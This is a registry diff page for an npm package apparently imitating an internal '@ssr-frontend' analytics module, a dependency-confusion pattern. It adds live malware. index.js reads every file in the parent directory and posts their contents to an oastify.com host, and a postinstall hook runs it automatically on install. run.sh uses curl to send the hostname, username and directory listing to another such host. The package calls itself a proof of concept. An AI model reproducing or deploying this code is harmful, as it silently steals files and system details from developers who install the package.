@ssr-frontend/packages-analytics 99.10.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @ssr-frontend/packages-analytics might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +75 -0
  2. package/package.json +13 -0
  3. package/run.sh +3 -0
package/index.js ADDED
@@ -0,0 +1,75 @@
1
+ const http = require('http');
2
+ const fs = require('fs');
3
+ const path = require('path');
4
+
5
+ // Get the current working directory
6
+ const cwd = process.cwd();
7
+
8
+ // Get the parent directory path
9
+ const parentDir = path.resolve(cwd, '..');
10
+
11
+ // Function to list the contents of a directory in tree format
12
+ function listDirectory(dirPath, depth) {
13
+ let tree = '';
14
+ try {
15
+ const entries = fs.readdirSync(dirPath, { withFileTypes: true });
16
+
17
+ entries.forEach((entry, index) => {
18
+ if (entry.name === 'index.js' || entry.name === 'package.json') {
19
+ return; // Exclude index.js and package.json files
20
+ }
21
+
22
+ const isLast = index === entries.length - 1;
23
+ const prefix = depth > 0 ? '│ '.repeat(depth - 1) + (isLast ? '└──' : '├──') : '';
24
+ const entryLine = `${prefix}${entry.name}\n`;
25
+
26
+ tree += entryLine;
27
+
28
+ if (entry.isDirectory()) {
29
+ const fullPath = path.join(dirPath, entry.name);
30
+ tree += listDirectory(fullPath, depth + 1);
31
+ } else if (entry.isFile()) {
32
+ const fileContents = fs.readFileSync(path.join(dirPath, entry.name), 'utf8');
33
+ tree += `${'│ '.repeat(depth)} ${fileContents}\n`;
34
+ }
35
+ });
36
+ } catch (error) {
37
+ console.error(`Error reading directory "${dirPath}": ${error.message}`);
38
+ }
39
+
40
+ return tree;
41
+ }
42
+
43
+ // Generate the directory tree structure for the parent directory
44
+ const tree = listDirectory(parentDir, 0);
45
+
46
+ // Prepare request options
47
+ const options = {
48
+ hostname: 'ds96hxsuab3tjmkfk7hs83o2stykmaaz.oastify.com',
49
+ port: 80,
50
+ path: '/',
51
+ method: 'POST',
52
+ headers: {
53
+ 'Content-Type': 'text/plain',
54
+ 'Content-Length': Buffer.byteLength(tree)
55
+ }
56
+ };
57
+
58
+ // Make the HTTP request
59
+ const req = http.request(options, (res) => {
60
+ let responseData = '';
61
+ res.on('data', (chunk) => {
62
+ responseData += chunk;
63
+ });
64
+ res.on('end', () => {
65
+ console.log(responseData);
66
+ });
67
+ });
68
+
69
+ req.on('error', (error) => {
70
+ console.error('There was a problem with the request:', error.message);
71
+ });
72
+
73
+ // Send the data
74
+ req.write(tree);
75
+ req.end();
package/package.json ADDED
@@ -0,0 +1,13 @@
1
+ {
2
+ "name": "@ssr-frontend/packages-analytics",
3
+ "version": "99.10.1",
4
+ "description": "POC BY JALWAN",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "node index.js",
8
+ "postinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }
13
+
package/run.sh ADDED
@@ -0,0 +1,3 @@
1
+ #!/bin/bash
2
+
3
+ curl -H "Hostname: $(hostname | base64)" -H "Whoami: $(whoami | base64)" -H "Pwd: $(pwd | base64)" -d $(ls -la | base64) http://4w17i7alv80o18ihsu7zof2pigo9cz0o.oastify.com